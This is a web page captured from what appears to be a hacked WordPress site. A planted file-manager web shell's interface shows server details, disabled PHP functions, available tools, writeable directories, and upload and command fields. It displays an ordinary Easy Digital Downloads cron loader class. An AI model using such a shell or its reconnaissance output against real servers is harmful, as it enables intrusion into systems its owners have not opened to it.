Warning: chmod(): No such file or directory in /www/wwwroot/scuipturepactory.com/wp-content/mu-plugins/worksec.php on line 7
Uname:Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64

Base Dir : /www/wwwroot/scuipturepactory.com

User : www


403WebShell
403Webshell
Server IP : 47.82.179.145  /  Your IP : 216.73.217.129
Web Server : nginx/1.26.3
System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.3.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/easy-digital-downloads/src/Cron/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/scuipturepactory.com/wp-content/plugins.off/easy-digital-downloads/src/Cron/Loader.php
<?php
/**
 * Class for loading our Cron Integrations.
 *
 * @package     EDD\Cron
 * @copyright   Copyright (c) 2024, Sandhills Development, LLC
 * @license     https://opensource.org/licenses/gpl-2.0.php GNU Public License
 * @since       3.3.0
 */

namespace EDD\Cron;

// Exit if accessed directly.
defined( 'ABSPATH' ) || exit; // @codeCoverageIgnore

use EDD\EventManagement\SubscriberInterface;

/**
 * Loader Class
 *
 * @since 3.3.0
 */
class Loader implements SubscriberInterface {

	/**
	 * Get the events that this class is subscribed to.
	 *
	 * @since 3.3.0
	 */
	public static function get_subscribed_events() {
		return array(
			'cron_schedules' => 'load_schedules',
			'init'           => 'load_events',
			'plugins_loaded' => array( 'load_components', 999 ), // Run this late, to ensure plugins are loaded.
		);
	}

	/**
	 * Add our custom schedules to the cron schedules.
	 *
	 * @since 3.3.0
	 *
	 * @return array
	 */
	public function load_schedules( $schedules ) {
		foreach ( $this->get_registered_schedules() as $schedule ) {
			// If this isn't a subclass of Schedule, skip it.
			if ( ! is_subclass_of( $schedule, 'EDD\Cron\Schedules\Schedule' ) ) {
				continue;
			}

			if ( $schedule->valid ) {
				$schedules[ $schedule->id ] = array(
					'interval' => $schedule->interval,
					'display'  => $schedule->display_name,
				);
			}
		}

		return $schedules;
	}

	/**
	 * Load any cron events we need to.
	 *
	 * Cron Events are the 'do_action' events that are fired by WordPress, on a defined schedule.
	 *
	 * @since 3.3.0
	 *
	 * @return void
	 */
	public function load_events() {
		foreach ( $this->get_registered_events() as $event ) {
			// If this isn't a subclass of Event, skip it.
			if ( ! is_subclass_of( $event, 'EDD\Cron\Events\Event' ) ) {
				continue;
			}

			$event->schedule();
		}
	}

	/**
	 * Load any components registered that have cron events.
	 *
	 * @since 3.3.0
	 *
	 * @return void
	 */
	public function load_components() {
		// We'll collect the final list of components to register here.
		$final_components_list = array();

		foreach ( $this->get_registered_components() as $component_class ) {
			// If this isn't a subclass of Component, skip it.
			if ( ! is_subclass_of( $component_class, 'EDD\Cron\Components\Component' ) ) {
				continue;
			}

			// If the array key exists, and the class isn't set to overload, skip it.
			if ( array_key_exists( $component_class::get_id(), $final_components_list ) && ! $component_class::should_overload() ) {
				continue;
			}

			// Either the array key doesn't exist already, or we are intentionally overloading it, so add it to the list.
			$final_components_list[ $component_class::get_id() ] = $component_class;
		}

		/**
		 * Load the components.
		 *
		 * Since these extend the Component class, they should all be using the SubscriberInterface to hook into the events.
		 */
		foreach ( $final_components_list as $component_class ) {
			$component = new $component_class();

			// Since this loads to late, we need to trigger the event management now.
			$component->subscribe();
		}
	}

	/**
	 * Get the registered schedules.
	 *
	 * @since 3.3.0
	 *
	 * @return array
	 */
	private function get_registered_schedules() {
		$registered_schedules = array();

		/**
		 * Filter the registered cron schedules.
		 *
		 * @since 3.3.0
		 *
		 * @param array $registered_schedules The currently registered cron schedules.
		 *
		 * Example:
		 * add_filter( 'edd_cron_schedules', function( $registered_schedules ) {
		 *    $registered_schedules[] = new MyCustomSchedule();
		 *   return $registered_schedules;
		 * } );
		 *
		 * @return array
		 */
		$registered_schedules = apply_filters( 'edd_cron_schedules', $registered_schedules );

		// Since we have a filter here, if something goes wrong return an empty array.
		if ( ! is_array( $registered_schedules ) ) {
			return array();
		}

		return $registered_schedules;
	}

	/**
	 * Get the registered events.
	 *
	 * @since 3.3.0
	 *
	 * @return array
	 */
	private function get_registered_events() {
		$registered_events = array(
			new Events\DailyEvents(),
			new Events\WeeklyEvents(),
			new Events\StripeRateLimitingCleanup(),
			new Events\LogPruning(),
		);

		/**
		 * Filter the registered cron events.
		 *
		 * @since 3.3.0
		 *
		 * @param array $registered_events The currently registered cron events.
		 *
		 * Example:
		 * add_filter( 'edd_cron_events', function( $registered_events ) {
		 *    $registered_events[] = new MyCustomEvent();
		 *   return $registered_events;
		 * } );
		 *
		 * @return array
		 */
		$registered_events = apply_filters( 'edd_cron_events', $registered_events );

		// Since we have a filter here, if something goes wrong return an empty array.
		if ( ! is_array( $registered_events ) ) {
			return array();
		}

		return $registered_events;
	}

	/**
	 * Get the registered components.
	 *
	 * @since 3.3.0
	 *
	 * @return array
	 */
	private function get_registered_components() {
		// Register our components.
		$components_to_register = array(
			Components\Cart::class,
			Components\EmailSummaries::class,
			Components\Exports::class,
			Components\Notifications::class,
			Components\Orders::class,
			Components\Passes::class,
			Components\Store::class,
			Components\Stripe::class,
			Components\EmailSummariesBlurbs::class,
			Components\NewUser::class,
			Components\LogPruning::class,
		);

		/**
		 * Filter the components to register.
		 *
		 * @since 3.3.0
		 *
		 * @param array $components_to_register The currently registered cron components.
		 *
		 * Example:
		 * add_filter( 'edd_cron_components', function( $components_to_register ) {
		 *    $components_to_register[] = MyNameSpace\MyClass::class;
		 *    return $components_to_register;
		 * } );
		 *
		 * @return array
		 */
		$components_to_register = apply_filters( 'edd_cron_components', $components_to_register );

		// Since we have a filter here, if something goes wrong return an empty array.
		if ( ! is_array( $components_to_register ) ) {
			return array();
		}

		return $components_to_register;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit